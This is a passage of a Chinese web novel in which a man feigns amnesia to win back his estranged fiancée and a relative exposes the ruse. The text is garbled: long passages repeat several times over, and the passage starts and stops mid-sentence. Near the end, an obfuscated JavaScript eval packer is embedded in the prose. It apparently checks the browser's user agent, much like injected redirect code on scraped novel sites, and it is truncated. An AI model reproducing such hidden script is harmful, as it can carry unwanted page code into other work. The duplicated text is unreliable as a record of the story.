哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 问题了,我当众挑明,还把错怪到曹春喜身上,是想着禾儿跟曹春喜关系好,为了给曹春喜解围,怎么也会对泽儿的态度缓和一些,我实在没想到曹春喜会胡说八道,冤枉泽儿有私生子啊。” 云氏一发问,云晚棠立刻蹙着眉解释。 不等云氏开口,云晚棠又抢先道:“阿姐,你我姐妹那是打断骨头连着筋的亲人,泽儿更是我的亲外甥,别人害他还情有可原,我害他对我能有什么好处呢?” 说到最后,云晚棠的眼眶有些泛红,似是被云氏的怀疑伤到。 云氏见状,不由得心软了两分。 是啊,阿棠是泽儿的亲小姨,泽儿能顺利复职还是因为阿棠在重阳宫宴上提起轩辕朗呢,她没有理由害泽儿的。 云氏抿唇没了声音,云晚棠知道她是心软了,连忙道:“阿姐,我相信泽儿一定是被曹春喜陷害的,这几日我虽然没能来看他,却也一直在想该如何帮他破局,我已把曹春喜的娘家大嫂雇到太傅府当奶娘,我可以让她出面指认曹春喜故意诬陷泽儿。” 云晚棠不仅给出了合理的解释,还付出行动要帮卫凌泽摆脱困境,云氏再也绷不住,缓和了语气:“阿棠,你有心了,但指认就不用了。” “为什么?难道泽儿真的偷偷养了外室和私生子,阿姐你之前怎么从未与我说过?” 云晚棠拔高声音,云氏嘴里泛苦。 哪怕眼前的人是她的亲妹妹,她也没办法说出卫凌泽被陷害是因为对曹春喜念念不忘,甚至派人绑走曹春喜想要把人偷偷圈养起来。 那可是卫凌泽要叫一声小婶婶的人,还是三品大臣的夫人,**圈养她,比养外室和私生子的后果严重多了。 “之前谁也不知道泽儿还能不能再站起来,萧家又推迟了婚礼,我的确暗中搜罗了一些女子进府,想要为泽儿留个子嗣。” 云氏艰难开口,云晚棠当即道:“可阿姐不是说那些女子没有一个能入泽儿的眼的,泽儿不曾碰过她们吗?” “泽儿的确看不上她们,但有一个女子为了能母凭子贵,还是成功了。” “便是成功了又如何,那女子出身低微,生下来的孩子也不配上卫家族谱,阿姐派人把他们处理了便是,怎能真的承认确有此事呢,泽儿如今已被停职,断不能再失去萧家的扶持,他的孩子只能是禾儿所出。” 云晚棠毫不犹豫地开口,完全是站在卫凌泽的角度考虑。 云氏揉揉太阳穴,有些头疼:“穆氏在云州找到了许多人证物证,萧家也派人核实过了,这个时候死不承认只会让卫家更加难堪。” 有曹春喜被绑这件事在,他们不承认也不行。 “阿姐……” 云晚棠还想再劝,云氏加重语气:“好了,这件事就是卫家做错了,如今已然事发,不能一错再错。” 云氏态度强硬,云晚棠不好再劝,只能转而问:“如今萧家态度强硬,阿姐想好要如何帮泽儿挽回禾儿了吗?” 这个问题让云氏的脑袋更疼了:“其实三年前萧家就想退婚,是禾儿一直坚持到了现在,如果禾儿还对泽儿有情,萧家态度再强硬也还有回寰的余地,现在难就难在禾儿死心了。” 云氏无计可施,云晚棠勾了勾唇道:“阿姐,我有一个办法,兴许能让两人重归于好。” 两日后,卫凌泽翻墙进了萧家。 萧清禾赶到时,他正被护院摁在地上,一看到她,卫凌泽立刻抬头看过来,咧唇露出一个少年气十足的笑:“我就是想在出征前再来看禾儿妹妹一眼,没想到被发现了。” 萧清禾皱紧眉头。 出征?卫凌泽这是……失忆了? 第256章 真失忆还是假失忆? 云氏第一时间赶到萧家把卫凌泽接回了家。 但卫凌泽好像真的忘记自己曾瘫痪三年,也不记得这段时间他对萧清禾做了多少不好的事,只一门心思地想要让萧清禾知道他有多喜欢她,每日都会送些稀奇古怪的小玩意儿来,哪怕不能见到萧清禾,也要在萧家坐上一整日。 “祖母,你为什么要让卫凌泽进来,还要让下人把那些东西送去给阿姐啊,万一阿姐心软了怎么办?” 一大早,听说卫凌泽又来了家里,萧清月忍不住跑到松鹤院找萧老夫人。 昨夜下了雪,今天到处都变成白茫茫的一片,萧清月没有打伞,头上和身上都落了不少雪。 萧老夫人捻着手里的佛珠淡淡道:“先烤烤火,别让寒气入了体。” “祖母……” 萧清月还想说话,门帘被挑开,萧清禾走了进来,萧清月连忙噤声。 天气冷,萧清禾穿了一件雪白的兔毛斗篷,还抱着一只小手炉,见萧清月在屋里,她笑着打趣:“这个时节,妹妹不是应该睡到日上三竿才起么,今天怎么来得比我还早?” 说着话,萧清禾脱下斗篷交给屋里伺候的婆子,在火盆边驱散一身的寒气才走到老夫人身边坐下。 萧清月不敢在萧清禾面前提起卫凌泽,只能含含糊糊地说:“阿姐,我也没有那么懒,给祖母请安我还是起得来的。” 萧清禾坐下后,立刻有下人拿来笔墨纸砚,见她是要抄佛经,萧清月连忙走过去帮忙磨墨。 萧清禾铺开纸张,找到昨日誊抄的地方,继续抄起来。 萧清月一开始还有些憋得难受,但见自家阿姐不骄不躁、沉静如水,慢慢地又冷静下来。 阿姐虽然看着柔顺,实则极有主见,一旦做了决定,便不会更改。 当初卫凌泽重伤归来,娘本来是要退婚的,阿姐却违背了娘的意思,跪在祠堂,不吃不喝,也不肯说话。 娘骂过阿姐,甚至还打了阿姐一巴掌,她吓得都哭了,阿姐却没哭。 家里家外,没人再看好这段婚姻。 有人说阿姐傻,为了所谓的感情,竟然愿意为了一个再也站不起来的人虚耗光阴,也有人骂阿姐虚伪,一直拖着不肯举行婚礼就是想逼卫家主动退婚。 卫凌泽坐着轮椅带春喜到处出席宴会那一年,这样的风言风语就更多了,她有好几次都气哭了,阿姐却始终沉静坚持。 她想,当初那些流言没有让阿姐退却,现在卫凌泽做的这些也是不足以让阿姐动摇。 萧清禾抄了整整一个时辰的佛经才结束。 放下笔后,她忍不住揉了揉发酸的手腕。 这时有下人来报:“姑爷还在前厅坐着呢,大小姐今日要去见见吗?” “不了,让他坐吧。” 萧清禾毫不犹豫地回答。 萧清月松了口气,却又莫名觉得心里堵得慌。 阿姐对卫凌泽是真心的,虽然那三年阿姐没有亲自守在他身边,却也为他抄了无数经书,求了漫天神佛,卫凌泽为什么不能好好珍惜阿姐,非要闹到如此地步,才来求阿姐回头呢? 萧清禾没有萧清月的纠结,抄完佛经休息了一会儿,又拿了香炉开始调香,萧清月对做这些向来没什么耐心,她刚想离开,又听到下人来报:“老夫人,沈夫人来了。” 小婶婶来了? 萧清月眼睛一亮,顿时不想走了。 没一会儿,门外传来脚步声,门帘一掀,春喜笑容明媚的脸便出现在几人眼前:“哟,禾儿和月儿都在呢,我可想死你们了。” 春喜语气轻快,虽带着一身寒气,整个人却是热烈鲜活的,她一进来,整个屋子都跟着热闹起来。 萧清月的唇角不觉上扬,忍不住嘀咕:“小婶婶要是真想我们,就该早点儿来看我们,哪里需要等到每次见面再说这种场面话?” 春喜弯眸:“原来月儿也想我了啊,那你以后也可以写信邀请我,我收到信马上就来看你,怎么样?” 萧清月不想承认自己想春喜了,但又怕否认了以后春喜真的不来,只能鼓着腮帮 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下人的语气有些着急,但萧清禾听完并无反应,萧老夫人就让这人退下了。 萧清月皱紧眉头,忍不住抱怨:“卫家明知道他身上有伤还让他天天来我们家,不会就是等着他病倒了好赖上我们吧?” 春喜听到这会儿才明白下人口中的“姑爷”是卫凌泽,她有些好奇:“卫凌泽现在还有脸来纠缠禾儿?” “正常人自然是没有脸来的,但他现在失忆啦,天天都像是没事人一样跑来,就算不让他见阿姐,他也能在我们家坐上一整天。” 萧清月撇撇嘴,只觉得卫凌泽现在像个无赖,无耻极了。 失忆? 春喜挑眉,这倒真是个好借口。 春喜想了想,看向萧清禾问:“禾儿觉得他是真失忆还是假失忆?” 萧清月瞪大眼睛。 还能假失忆?那也太无耻了! 萧清禾眸光微闪,如实道:“我不能肯定这是不是真的,但他现在失忆时机抓得很好。” 第257章 果然是装的 卫凌泽晕倒的事并没有影响大家的食欲,中午三人热热闹闹地陪萧老夫人吃起涮羊肉。 萧清月被春喜的独家蘸水征服,吃到最后是扶着肚子离开松鹤院的,萧清禾也吃了不少,出了一身的汗,脸也红扑扑的,回去的时候脚步都轻快了些。 两人走后,春喜还在陪着萧老夫人喝茶解腻。 喝完一杯茶,萧老夫人开口:“你今日当真只是来吃涮羊肉的?” “舅母真是火眼金睛,什么事都逃不过您的法眼,”春喜先拍了句马屁,然后才道,“其实我今日是来给舅母道喜的。” 春喜说着低头看了眼自己的肚子,萧老夫人先是一愣,反应过来后难掩激动:“有喜了?” 春喜点点头:“还不到三个月,本来应该等稳妥些再告诉舅母的,但阴差阳错地让皇后和贤妃娘娘都知道了,我也不好再瞒着舅母。” 春喜把自己陪着恒阳公主去看诊,结果诊出自己有喜的事简单说了一下。 萧老夫人高兴不已。 沈清渊在京兆府蹉跎了十年,婚事也多有不顺,如今已近而立之年,总算是有子嗣了。 “冬猎之前你整日来找禾儿和月儿练骑射,后来又在冬猎时跟恒阳公主比试,如此折腾还好好的,看来这孩子随你,是个有福气的。” 萧老夫人这话夸了孩子也夸了春喜,春喜半是玩笑半是打趣道:“之前不知道,感觉做什么都可以,如今知道了,就要处处小心了,就连今日出门我都央了夫君好久他才同意呢。” “这雪天路滑,天又冷,小心些也是好的,”萧老夫人点点头,又道,“我方才见你胃口挺好的,也不觉得羊肉膻味重。” 春喜有些不好意思:“前几日是有些反胃吃不下荤腥的,但我的体质好像还不错,这两日的胃口又好起来了,不仅可以闻荤腥味道,还有些喜欢吃肉呢。” “能吃得下是好事,不过也不能吃太多,孩子太大不好生,贤妃给的人有经验,你多听她们的,等你生的时候,再请御医来府上守着就不会有事了,我这边先让人帮你物色一些奶娘的人选,到时你自己挑两个合眼缘的,要是你有更好的人选也可以直接跟我说。” 萧老夫人把以后的事都想好了,春喜连忙道谢,又陪萧老夫人说了好半晌的话才离开。 快到大门时,春喜又碰到了卫凌泽。 几日不见,卫凌泽肉眼可见的消瘦下来,脸色也是苍白的,难掩病气。 不知是故意做给萧家人看的,还是真的虚弱,这会儿他正靠 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽就收敛了杀气,眼神变得茫然。 原来真是装的啊。 春喜挑了下眉,加快步子走过去,隔着两三步的距离,她听到卫凌泽装模作样地问行舟:“后面这位夫人是谁,我之前来萧家怎么从未见过?” 行舟并未注意到春喜,听到卫凌泽问话,这才扭头看过来,见是春喜,表情一僵,一时不知该如何介绍。 之前毕竟一起共事过,春喜没有为难行舟,主动开口:“我是沈清渊的夫人,按照辈分,你该唤我一声婶婶。” “原来是小婶婶,抱歉,我最近生了一场病,好些人和事都记不太清楚了,并非有意冒犯。” 卫凌泽露出歉然的表情,语气客气又疏离,即便有方才那一下的眼神交汇,春喜都觉得有七八分真。 不过春喜不是第一次知道卫凌泽演技好了。 之前卫凌泽坐着轮椅带她出去参加宴会时,一直都是温润如玉的模样,丝毫看不出私底下有多易怒残暴。 春喜没有急着戳穿卫凌泽,弯眸笑道:“无妨,我毕竟是长辈,自然要大度些,不会与小辈一般见识,不过就算侄婿因为生病忘了一些事,身边人总该是记得的,他们没有告诉侄婿你最近都做过什么吗?” 卫凌泽脸色未变,温声道:“我找人问了一些,但因为没有记忆,感觉十分割裂,就像是我被人夺舍,做了一些我根本不可能做的事一样。” 不仅失忆,还有夺舍,春喜都想鼓掌叫好,夸他一声高明了。 合着之前那些混账事都是邪祟入体干的,他其实始终如一,从未变过。 “夺舍?”春喜拔高声音,露出惊恐之色,“我之前听人说过,这世上的确有些厉鬼邪祟非常厉害,能够抢占别人的身体,但被夺舍的都是命格不好的天煞孤星,是会克**人的,侄婿的家里人最近还好吗?” 春喜这话不像是关心,更像是咒骂。 卫凌泽的眼皮跳了跳,强撑着冷静回答:“我家里人一切都好,小婶婶不用担心。” 春喜当然不会担心,她接着刚刚的话题继续道:“这事也太奇怪了,若侄婿真的被夺舍,前后脾性和行为应该有很大的差别,怎么身边这么多至亲竟然没有一个发现异常呢?” “夺舍之事只是传闻,并没有人真的见过,而且那时我受了重伤,在重大打击之下,性情有些变化也很正常。” “可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” “你没有得罪过我,”春喜笑着否认,不等卫凌泽开口又道,“是那个夺了你的舍,该下十八层地狱、生生世世投畜生道的死鬼得罪我的。” 卫凌泽:“……” 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽就收敛了杀气,眼神变得茫然。 原来真是装的啊。 春喜挑了下眉,加快步子走过去,隔着两三步的距离,她听到卫凌泽装模作样地问行舟:“后面这位夫人是谁,我之前来萧家怎么从未见过?” 行舟并未注意到春喜,听到卫凌泽问话,这才扭头看过来,见是春喜,表情一僵,一时不知该如何介绍。 之前毕竟一起共事过,春喜没有为难行舟,主动开口:“我是沈清渊的夫人,按照辈分,你该唤我一声婶婶。” “原来是小婶婶,抱歉,我最近生了一场病,好些人和事都记不太清楚了,并非有意冒犯。” 卫凌泽露出歉然的表情,语气客气又疏离,即便有方才那一下的眼神交汇,春喜都觉得有七八分真。 不过春喜不是第一次知道卫凌泽演技好了。 之前卫凌泽坐着轮椅带她出去参加宴会时,一直都是温润如玉的模样,丝毫看不出私底下有多易怒残暴。 春喜没有急着戳穿卫凌泽,弯眸笑道:“无妨,我毕竟是长辈,自然要大度些,不会与小辈一般见识,不过就算侄婿因为生病忘了一些事,身边人总该是记得的,他们没有告诉侄婿你最近都做过什么吗?” 卫凌泽脸色未变,温声道:“我找人问了一些,但因为没有记忆,感觉十分割裂,就像是我被人夺舍,做了一些我根本不可能做的事一样。” 不仅失忆,还有夺舍,春喜都想鼓掌叫好,夸他一声高明了。 合着之前那些混账事都是邪祟入体干的,他其实始终如一,从未变过。 “夺舍?”春喜拔高声音,露出惊恐之色,“我之前听人说过,这世上的确有些厉鬼邪祟非常厉害,能够抢占别人的身体,但被夺舍的都是命格不好的天煞孤星,是会克**人的,侄婿的家里人最近还好吗?” 春喜这话不像是关心,更像是咒骂。 卫凌泽的眼皮跳了跳,强撑着冷静回答:“我家里人一切都好,小婶婶不用担心。” 春喜当然不会担心,她接着刚刚的话题继续道:“这事也太奇怪了,若侄婿真的被夺舍,前后脾性和行为应该有很大的差别,怎么身边这么多至亲竟然没有一个发现异常呢?” “夺舍之事只是传闻,并没有人真的见过,而且那时我受了重伤,在重大打击之下,性情有些变化也很正常。” “可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” “你没有得罪过我,”春喜笑着否认,不等卫凌泽开口又道,“是那个夺了你的舍,该下十八层地狱、生生世世投畜生道的死鬼得罪我的。” 卫凌泽:“……” 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽就收敛了杀气,眼神变得茫然。 原来真是装的啊。 春喜挑了下眉,加快步子走过去,隔着两三步的距离,她听到卫凌泽装模作样地问行舟:“后面这位夫人是谁,我之前来萧家怎么从未见过?” 行舟并未注意到春喜,听到卫凌泽问话,这才扭头看过来,见是春喜,表情一僵,一时不知该如何介绍。 之前毕竟一起共事过,春喜没有为难行舟,主动开口:“我是沈清渊的夫人,按照辈分,你该唤我一声婶婶。” “原来是小婶婶,抱歉,我最近生了一场病,好些人和事都记不太清楚了,并非有意冒犯。” 卫凌泽露出歉然的表情,语气客气又疏离,即便有方才那一下的眼神交汇,春喜都觉得有七八分真。 不过春喜不是第一次知道卫凌泽演技好了。 之前卫凌泽坐着轮椅带她出去参加宴会时,一直都是温润如玉的模样,丝毫看不出私底下有多易怒残暴。 春喜没有急着戳穿卫凌泽,弯眸笑道:“无妨,我毕竟是长辈,自然要大度些,不会与小辈一般见识,不过就算侄婿因为生病忘了一些事,身边人总该是记得的,他们没有告诉侄婿你最近都做过什么吗?” 卫凌泽脸色未变,温声道:“我找人问了一些,但因为没有记忆,感觉十分割裂,就像是我被人夺舍,做了一些我根本不可能做的事一样。” 不仅失忆,还有夺舍,春喜都想鼓掌叫好,夸他一声高明了。 合着之前那些混账事都是邪祟入体干的,他其实始终如一,从未变过。 “夺舍?”春喜拔高声音,露出惊恐之色,“我之前听人说过,这世上的确有些厉鬼邪祟非常厉害,能够抢占别人的身体,但被夺舍的都是命格不好的天煞孤星,是会克**人的,侄婿的家里人最近还好吗?” 春喜这话不像是关心,更像是咒骂。 卫凌泽的眼皮跳了跳,强撑着冷静回答:“我家里人一切都好,小婶婶不用担心。” 春喜当然不会担心,她接着刚刚的话题继续道:“这事也太奇怪了,若侄婿真的被夺舍,前后脾性和行为应该有很大的差别,怎么身边这么多至亲竟然没有一个发现异常呢?” “夺舍之事只是传闻,并没有人真的见过,而且那时我受了重伤,在重大打击之下,性情有些变化也很正常。” “可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” 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“可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” “你没有得罪过我,”春喜笑着否认,不等卫凌泽开口又道,“是那个夺了你的舍,该下十八层地狱、生生世世投畜生道的死鬼得罪我的。” 卫凌泽:“……” 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽就收敛了杀气,眼神变得茫然。 原来真是装的啊。 春喜挑了下眉,加快步子走过去,隔着两三步的距离,她听到卫凌泽装模作样地问行舟:“后面这位夫人是谁,我之前来萧家怎么从未见过?” 行舟并未注意到春喜,听到卫凌泽问话,这才扭头看过来,见是春喜,表情一僵,一时不知该如何介绍。 之前毕竟一起共事过,春喜没有为难行舟,主动开口:“我是沈清渊的夫人,按照辈分,你该唤我一声婶婶。” “原来是小婶婶,抱歉,我最近生了一场病,好些人和事都记不太清楚了,并非有意冒犯。” 卫凌泽露出歉然的表情,语气客气又疏离,即便有方才那一下的眼神交汇,春喜都觉得有七八分真。 不过春喜不是第一次知道卫凌泽演技好了。 之前卫凌泽坐着轮椅带她出去参加宴会时,一直都是温润如玉的模样,丝毫看不出私底下有多易怒残暴。 春喜没有急着戳穿卫凌泽,弯眸笑道:“无妨,我毕竟是长辈,自然要大度些,不会与小辈一般见识,不过就算侄婿因为生病忘了一些事,身边人总该是记得的,他们没有告诉侄婿你最近都做过什么吗?” 卫凌泽脸色未变,温声道:“我找人问了一些,但因为没有记忆,感觉十分割裂,就像是我被人夺舍,做了一些我根本不可能做的事一样。” 不仅失忆,还有夺舍,春喜都想鼓掌叫好,夸他一声高明了。 合着之前那些混账事都是邪祟入体干的,他其实始终如一,从未变过。 “夺舍?”春喜拔高声音,露出惊恐之色,“我之前听人说过,这世上的确有些厉鬼邪祟非常厉害,能够抢占别人的身体,但被夺舍的都是命格不好的天煞孤星,是会克**人的,侄婿的家里人最近还好吗?” 春喜这话不像是关心,更像是咒骂。 卫凌泽的眼皮跳了跳,强撑着冷静回答:“我家里人一切都好,小婶婶不用担心。” 春喜当然不会担心,她接着刚刚的话题继续道:“这事也太奇怪了,若侄婿真的被夺舍,前后脾性和行为应该有很大的差别,怎么身边这么多至亲竟然没有一个发现异常呢?” “夺舍之事只是传闻,并没有人真的见过,而且那时我受了重伤,在重大打击之下,性情有些变化也很正常。” “可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” “你没有得罪过我,”春喜笑着否认,不等卫凌泽开口又道,“是那个夺了你的舍,该下十八层地狱、生生世世投畜生道的死鬼得罪我的。” 卫凌泽:“……” 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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春喜当然不会担心,她接着刚刚的话题继续道:“这事也太奇怪了,若侄婿真的被夺舍,前后脾性和行为应该有很大的差别,怎么身边这么多至亲竟然没有一个发现异常呢?” “夺舍之事只是传闻,并没有人真的见过,而且那时我受了重伤,在重大打击之下,性情有些变化也很正常。” “可是偷偷圈养外室和私生子、为了外室打断州府大人独子一条腿,还一不高兴就动手打自己的夫人这些事都是在侄婿伤好以后才发生的,而且卫家人还帮忙隐瞒了,就算侄婿被夺舍身体里住了个厉鬼,卫家人不能也都被夺舍变成没有人性的厉鬼了吧?” “……” 卫凌泽被春喜噎得说不出话来。 按照春喜这个逻辑问下去,他想摘清自己,就只能说卫家家风不正了。 “咳咳,”卫凌泽轻咳两声,转移话题:“小婶婶好像对我很有恶意,若我有什么地方得罪过小婶婶,还请小婶婶见谅。” “你没有得罪过我,”春喜笑着否认,不等卫凌泽开口又道,“是那个夺了你的舍,该下十八层地狱、生生世世投畜生道的死鬼得罪我的。” 卫凌泽:“……” 在行舟肩膀,慢吞吞地往外挪着。 春喜这次没有主动跟他打招呼,只隔着一段距离观察着他。 很快,卫凌泽就感受到她的目光偏头看了过来。 视线相撞的瞬间,春喜感受到了浓烈的杀意。 只一瞬,卫凌泽就收敛了杀气,眼神变得茫然。 原来真是装的啊。 春喜挑了下眉,加快步子走过去,隔着两三步的距离,她听到卫凌泽装模作样地问行舟:“后面这位夫人是谁,我之前来萧家怎么从未见过?” 行舟并未注意到春喜,听到卫凌泽问话,这才扭头看过来,见是春喜,表情一僵,一时不知该如何介绍。 之前毕竟一起共事过,春喜没有为难行舟,主动开口:“我是沈清渊的夫人,按照辈分,你该唤我一声婶婶。” “原来是小婶婶,抱歉,我最近生了一场病,好些人和事都记不太清楚了,并非有意冒犯。” 卫凌泽露出歉然的表情,语气客气又疏离,即便有方才那一下的眼神交汇,春喜都觉得有七八分真。 不过春喜不是第一次知道卫凌泽演技好了。 之前卫凌泽坐着轮椅带她出去参加宴会时,一直都是温润如玉的模样,丝毫看不出私底下有多易怒残暴。 